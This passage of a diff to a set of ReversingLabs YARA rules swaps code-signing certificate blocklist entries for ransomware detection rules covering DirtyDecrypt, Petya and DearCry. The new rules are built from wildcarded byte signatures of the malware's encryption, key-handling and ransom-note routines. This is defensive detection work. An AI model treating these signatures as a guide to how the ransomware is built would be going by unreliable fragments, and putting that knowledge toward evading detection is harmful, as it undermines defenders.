"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L621-L637" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.DirtyDecrypt.yara#L3-L112" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2a0d07d47cd41db5dc170a29607b6c1f2e3b7c0785f83b211f68f9cb9368e350" + logic_hash = "eb6a1c376b0739848b523e741d0d1ebdbc87056d51931fb94c744aa094d6479f" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "DirtyDecrypt" + tc_detection_factor = 5 importance = 25 + strings: + $dd_ep = { + 55 8B EC 83 EC ?? E8 ?? ?? ?? ?? 85 C0 0F 84 BF 00 00 00 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 + 1F 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 07 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB + 09 8B 4D ?? 83 C1 ?? 89 4D ?? 83 7D ?? ?? 73 15 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 89 44 95 ?? EB DC 6A ?? 68 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? + 8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A + ?? 8D 55 ?? 52 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 33 C0 8B E5 5D C2 ?? ?? + } + $dd_hash = { + 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 D5 00 00 00 83 7D ?? ?? 0F 84 CB 00 00 00 83 7D ?? ?? 0F 84 C1 + 00 00 00 83 7D ?? ?? 0F 84 B7 00 00 00 83 7D ?? ?? 0F 84 AD 00 00 00 83 7D ?? ?? 0F 84 A3 00 00 00 C7 45 ?? ?? ?? ?? ?? + 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 6F 83 7D ?? ?? 76 2A 6A ?? 6A ?? 8B + 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 51 8B 4D ?? 83 E9 ?? 89 4D ?? 8B 55 ?? 83 C2 ?? 89 55 ?? 6A ?? 8B + 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 25 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B + 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 33 C9 0F 85 74 FF FF FF 83 7D ?? ?? 74 0A 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 8B + E5 5D C2 ?? ?? + } + $dd_getkey = { + 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 31 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8D 4D ?? 51 6A ?? 8B 55 + ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 07 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? C1 E8 ?? 89 45 ?? 8B 45 ?? 8B E5 5D C2 ?? ?? + } + $dd_destroykey = { + 55 8B EC 83 7D ?? ?? 74 0A 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 5D C2 + } + $dd_importkey = { + 55 8B EC 51 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 8B 4D ?? 8B 51 ?? 52 8B 45 ?? 8B 08 51 8B 55 ?? 52 FF 15 ?? ?? + ?? ?? 8B 45 ?? 8B E5 5D C2 ?? ?? + } + $dd_decrypt = { + 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 22 01 00 00 83 7D ?? ?? 0F 84 18 01 00 00 83 7D ?? ?? 0F 84 0E + 01 00 00 83 7D ?? ?? 0F 84 04 01 00 00 83 7D ?? ?? 0F 84 FA 00 00 00 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 33 D2 + F7 75 ?? 0F AF 45 ?? 89 45 ?? 8B 4D ?? 89 4D ?? 8B 55 ?? 8B 02 03 45 ?? 89 45 ?? 8B 4D ?? 8B 11 03 55 ?? 52 8B 45 ?? 8B + 08 51 6A ?? E8 ?? ?? ?? ?? 8B 55 ?? 89 02 8B 45 ?? 83 38 ?? 0F 84 A7 00 00 00 8B 4D ?? 8B 11 8B 45 ?? 03 10 89 55 ?? 83 + 7D ?? ?? 74 61 6A ?? 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 45 ?? + 89 45 ?? 8D 4D ?? 51 8B 55 ?? 52 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 1D 8B 4D ?? 03 4D ?? 89 + 4D ?? 8B 55 ?? 2B 55 ?? 89 55 ?? 8B 45 ?? 03 45 ?? 89 45 ?? EB 99 83 7D ?? ?? 75 15 8B 4D ?? 89 4D ?? 8B 55 ?? 8B 45 ?? + 2B 02 8B 4D ?? 89 01 EB 18 8B 55 ?? 8B 02 50 8B 4D ?? 8B 11 52 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 89 01 8B 45 ?? 8B E5 5D C2 + ?? ?? + } + $dd_encrypt = { + 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 89 01 00 00 83 7D ?? ?? 0F 84 7F 01 00 00 83 7D ?? ?? 0F 84 75 + 01 00 00 83 7D ?? ?? 0F 84 6B 01 00 00 83 7D ?? ?? 0F 84 61 01 00 00 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 8B 4D ?? 83 E9 + ?? 89 4D ?? 8B 55 ?? 89 55 ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 0F 84 26 01 + 00 00 8B 55 ?? 3B 55 ?? 76 08 8B 45 ?? 89 45 ?? EB 06 8B 4D ?? 89 4D ?? 8B 55 ?? 89 55 ?? 8B 45 ?? 33 D2 F7 75 ?? 0F AF + 45 ?? 8B 4D ?? 8B 11 03 D0 03 55 ?? 89 55 ?? 8B 45 ?? 50 8B 4D ?? 8B 11 52 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 89 01 8B 55 ?? + 83 3A ?? 0F 84 CF 00 00 00 8B 45 ?? 8B 08 8B 55 ?? 03 0A 89 4D ?? 83 7D ?? ?? 0F 84 84 00 00 00 8B 45 ?? 3B 45 ?? 73 08 + 8B 4D ?? 89 4D ?? EB 06 8B 55 ?? 89 55 ?? 8B 45 ?? 89 45 ?? 6A ?? 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B + 4D ?? 89 4D ?? 8B 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 2D 8B + 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 55 ?? 03 55 ?? 89 55 ?? 8B 45 ?? 2B 45 ?? 89 45 ?? 8B 4D ?? 03 4D ?? 89 4D ?? E9 + 72 FF FF FF 83 7D ?? ?? 75 16 8B 55 ?? 8B 45 ?? 2B 02 8B 4D ?? 89 01 C7 45 ?? ?? ?? ?? ?? EB 18 8B 55 ?? 8B 02 50 8B 4D + ?? 8B 11 52 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 89 01 8B 45 ?? 8B E5 5D C2 ?? ?? + } + $dd_provparam = { + 55 8B EC 83 EC ?? 83 7D ?? ?? 0F 84 94 00 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? + 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 74 3F 8B 55 ?? 83 C2 ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 2A 6A ?? 8D 45 ?? + 50 8B 4D ?? 51 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 10 8B 45 ?? 50 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8B + 4D ?? 51 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 1D 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 E8 + ?? ?? ?? ?? 8B E5 5D C2 ?? ?? + } + $dd_acquirecontext = { + 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 0B 8B 45 ?? 0D ?? ?? ?? ?? 89 45 ?? C7 45 ?? + ?? ?? ?? ?? 83 7D ?? ?? 75 07 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 45 ?? 50 6A ?? 6A ?? 6A ?? 8D 4D ?? 51 E8 ?? ?? ?? + ?? 8B 55 ?? 52 6A ?? 8B 45 ?? 50 8D 4D ?? 51 8D 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 39 8B 45 ?? 83 C8 ?? 50 6A ?? 8B 4D + ?? 51 8D 55 ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 1A 6A ?? 6A ?? 6A ?? 8D 4D ?? 51 8D 55 ?? 52 FF 15 ?? ?? ?? ?? + 85 C0 75 02 EB 0E 6A ?? FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 9D 8B 45 ?? 8B E5 5D C2 ?? ?? + } + $dd_mrwhite = { + 55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 64 01 00 00 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D + 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 12 83 3D ?? ?? ?? ?? ?? 74 09 83 3D ?? ?? ?? ?? ?? 75 05 E9 13 + 01 00 00 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 85 C0 75 05 E9 F0 00 00 00 8B 95 + ?? ?? ?? ?? 52 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 + 05 E9 C0 00 00 00 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 85 C0 74 09 83 BD ?? ?? ?? ?? ?? 73 05 E9 9B + 00 00 00 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 + 75 02 EB 72 8B 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 02 83 C0 ?? 3B 85 ?? ?? ?? ?? 76 02 EB 51 8B 8D ?? + ?? ?? ?? 83 39 ?? 74 3E 0F B7 95 ?? ?? ?? ?? 83 FA ?? 75 32 8B 85 ?? ?? ?? ?? 8B 08 51 8B 95 ?? ?? ?? ?? 83 C2 ?? 52 6A + ?? 8D 85 ?? ?? ?? ?? 50 8B 0D ?? ?? ?? ?? 51 8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 33 C0 0F 85 CD FE FF FF 8D 8D + ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8B 45 ?? 8B E5 5D C2 ?? ?? + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "NOX Entertainment Co., Ltd" and pe.signatures [ i ] . serial == "4f:8b:9a:1b:a5:e6:0c:75:4d:bb:40:dd:ee:79:05:e2" and 1348617599 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $dd_ep at pe.entry_point ) and $dd_hash and $dd_getkey and $dd_destroykey and $dd_importkey and $dd_decrypt and $dd_encrypt and $dd_provparam and $dd_acquirecontext and $dd_mrwhite } -rule REVERSINGLABS_Cert_Blocklist_0A389B95Ee736Dd13Bc0Ed743Fd74D2F : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Petya : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Petya ransomware." author = "ReversingLabs" - id = "43cce248-2322-5607-8706-aeab046a30b9" - date = "2020-08-05" - modified = "2023-11-08" + id = "93d9fb33-88d1-50ec-bf99-1888201c0ec2" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L639-L655" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Petya.yara#L3-L58" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8b83e4aa47cea7cadf4b4a9f4e044478a62f4233e082fb52f9ed906d80a552aa" + logic_hash = "d2adafcb21b627d614eab79e64e2b96ad09fae796d0670452a19490d8781ce99" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Petya" + tc_detection_factor = 5 importance = 25 + strings: + $entry_point = { + 55 8B EC 56 8B 75 ?? 57 83 FE ?? 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 56 FF 75 ?? E8 ?? ?? ?? ?? 8B F8 85 F6 75 ?? E8 ?? + ?? ?? ?? 8B C7 5F 5E 5D C2 + } + $shutdown_pattern = { + 55 8B EC 83 EC ?? 8D 45 ?? 56 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 + 75 ?? 33 C0 EB ?? 8D 45 ?? 33 F6 50 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 56 56 8D + 45 ?? C7 45 ?? ?? ?? ?? ?? 50 56 FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? 8D 4D ?? 51 6A ?? 56 56 56 68 ?? ?? ?? ?? FF D0 33 C0 83 C4 ?? 40 5E 8B + E5 5D C3 + } + $sectionxxxx_pattern = { + 83 EC ?? 53 55 8B C2 89 4C 24 ?? 56 57 8B C8 89 44 24 ?? 33 D2 E8 ?? ?? ?? ?? 85 C0 + 74 ?? 0F B7 48 ?? 8B FA 83 C1 ?? 03 C8 0F B7 40 ?? 89 44 24 ?? 85 C0 74 ?? BE ?? ?? + ?? ?? 2B F1 80 39 ?? 8D 59 ?? 6A ?? 5D 75 ?? 85 ED 74 ?? 0F BE 2C 1E 0F BE 03 43 3B + E8 74 ?? 83 C1 ?? 83 EE ?? 47 3B 7C 24 ?? 72 ?? 8B CA 85 C9 74 ?? 8B 51 ?? 8B 5C 24 + ?? 8B FB 03 54 24 ?? 8B F2 8B 4A ?? A5 83 C1 ?? 03 CA 89 4B ?? A5 A5 8B 43 ?? 8D 72 + ?? 89 43 ?? 8B 43 ?? 89 43 ?? B8 ?? ?? ?? ?? 89 73 ?? 66 39 01 74 ?? 8B 7A ?? 8B 2A + 03 7A ?? 74 ?? 33 DB 43 2B DE 33 D2 8D 0C 33 8B C5 F7 F1 30 16 46 4F 75 ?? B2 ?? 5F + 5E 5D 0F B6 C2 5B 83 C4 ?? C3 + } + $crypt_gen_pattern = { + 55 8B EC 53 57 8B 7D ?? 8D 45 ?? 68 ?? ?? ?? ?? 6A ?? 33 DB 53 53 50 89 1F FF 15 ?? + ?? ?? ?? 85 C0 75 ?? 6A ?? 58 EB ?? 56 FF 75 ?? 8B 75 ?? 56 FF 75 ?? FF 15 ?? ?? ?? + ?? 85 C0 75 ?? 6A ?? 58 EB ?? 53 FF 75 ?? FF 15 ?? ?? ?? ?? 89 37 33 C0 5E 5F 5B 5D + C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BUSTER ASSISTENCIA TECNICA ELETRONICA LTDA - ME" and pe.signatures [ i ] . serial == "0a:38:9b:95:ee:73:6d:d1:3b:c0:ed:74:3f:d7:4d:2f" and 1351814399 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $entry_point at pe.entry_point ) and $shutdown_pattern and $sectionxxxx_pattern and $crypt_gen_pattern } - -rule REVERSINGLABS_Cert_Blocklist_1A3Faaeb3A8B93B2394Fec36345996E6 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Dearcry : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects DearCry ransomware." author = "ReversingLabs" - id = "343e4dbe-21a6-5758-be81-e5e7918c54fa" - date = "2020-08-05" - modified = "2023-11-08" + id = "6e2097e0-6495-5185-bbbc-e8168fa0ca7f" + date = "2021-03-12" + modified = "2021-03-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L657-L673" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.DearCry.yara#L1-L96" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a3bd9aaba8dbdb340b5d3013684584524eb08b11339985ba6ca0291b8c8bc692" + logic_hash = "40dde232255018e1bc0aadf2378a7a86a99327d13dda58d8ffc5bb38e164de26" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "DearCry" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "salvatore macchiarella" and pe.signatures [ i ] . serial == "1a:3f:aa:eb:3a:8b:93:b2:39:4f:ec:36:34:59:96:e6" and 1468454400 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_1A35Acce5B0C77206B1C3Dc2A6A2417C : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "0e42ffb8-07f2-55e4-977d-7760e923d76d" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L675-L691" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ce161fdd511e0efa042516ead09c6ab5f8dcf54f2087cdccbfed8e7cdfbd25b2" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 - - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "cd ingegneri associati srl" and pe.signatures [ i ] . serial == "1a:35:ac:ce:5b:0c:77:20:6b:1c:3d:c2:a6:a2:41:7c" and 1166054399 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_6Eb40Ea11Eaac847B050De9B59E25Bdc : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "e9f94ae9-0158-5789-b4d2-88f750442274" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L693-L709" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d0e7ab78fb42c9a8f19cba8e6a8b15d584651a23f1088e1f311589d46145e963" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 - - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "My Free Internet Update" and pe.signatures [ i ] . serial == "6e:b4:0e:a1:1e:aa:c8:47:b0:50:de:9b:59:e2:5b:dc" and 1062201599 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_6724340Ddbc7252F7Fb714B812A5C04D : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "2b61de88-9fea-5c3f-a7ab-db91e90b4965" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L711-L727" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bc72c2ca5f81198684233e23260831da5b9ef4e7ac5a25abbdb303eecc38bd53" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $drop_ransom_note_p1 = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? A1 ?? + ?? ?? ?? 53 56 57 33 DB 68 ?? ?? ?? ?? 50 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 89 1D ?? ?? + ?? ?? 89 1D ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 89 1D ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 89 44 24 ?? E8 + ?? ?? ?? ?? 8B F0 6A ?? 68 ?? ?? ?? ?? 89 74 24 ?? E8 ?? ?? ?? ?? 8B F8 89 7C 24 ?? + E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 3B F3 0F 84 ?? ?? ?? ?? 3B FB 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 5C 24 ?? B8 ?? ?? ?? ?? 33 F6 8B FF + 38 18 74 ?? 50 E8 ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 83 C4 ?? 8B D7 8A 08 88 0A 40 42 84 + C9 75 ?? 8B C7 33 F6 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 74 ?? 0F BE 14 37 52 E8 ?? + ?? ?? ?? 88 04 37 8B C7 83 C4 ?? 46 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 3B F0 72 ?? + 8B 74 24 ?? 46 89 74 24 ?? 69 F6 ?? ?? ?? ?? 8D 86 ?? ?? ?? ?? 3B C3 75 ?? 6A ?? 68 + } + $drop_ransom_note_p2 = { + 89 5C 24 ?? E8 ?? ?? ?? ?? 53 8B F0 53 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 56 89 44 24 + ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 8B F8 3B C3 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 85 C0 0F 86 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 53 51 88 5C 24 ?? E8 ?? ?? ?? + ?? 83 C4 ?? 8D 54 24 ?? 52 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + 8A 44 1C ?? 3C ?? 7C ?? 3C ?? 7E ?? 3C ?? 0F 8C ?? ?? ?? ?? 3C ?? 0F 8F ?? ?? ?? ?? + 0F BE C0 50 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 C4 ?? + 8D 54 24 ?? 52 FF D6 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? 8B + 4C 24 ?? 8B 54 24 ?? 8B 44 24 ?? 51 52 50 6A ?? 8D 4C 24 ?? 51 57 E8 ?? ?? ?? ?? 0F + BE 54 1C ?? 68 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? B8 ?? ?? ?? ?? 8D 50 + ?? 8D 49 ?? 8A 08 40 84 C9 75 ?? 56 2B C2 50 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 + E8 ?? ?? ?? ?? 83 C4 ?? 43 81 FB ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? 33 DB 57 + } + $find_files_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? B8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 31 45 ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 + A3 ?? ?? ?? ?? 89 65 ?? 8B 45 ?? 89 85 ?? ?? ?? ?? 8B 75 ?? 89 B5 ?? ?? ?? ?? 8B 4D + ?? 89 8D ?? ?? ?? ?? 8B 55 ?? 89 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? + ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 85 ?? ?? ?? ?? ?? 68 + ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 85 ?? ?? ?? ?? ?? + 8B C6 8D 50 ?? 8D 49 ?? 8A 08 40 84 C9 75 ?? 2B C2 80 7C 06 ?? ?? 74 ?? 8B C6 8D 50 + ?? 8A 08 40 84 C9 75 ?? 2B C2 80 7C 06 ?? ?? 74 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? + 8D 95 ?? ?? ?? ?? 52 EB ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 + 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 6A + ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 8B C6 + 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 8B D0 8D 85 ?? ?? ?? ?? 8D 78 ?? 8A 08 40 84 C9 + 75 ?? 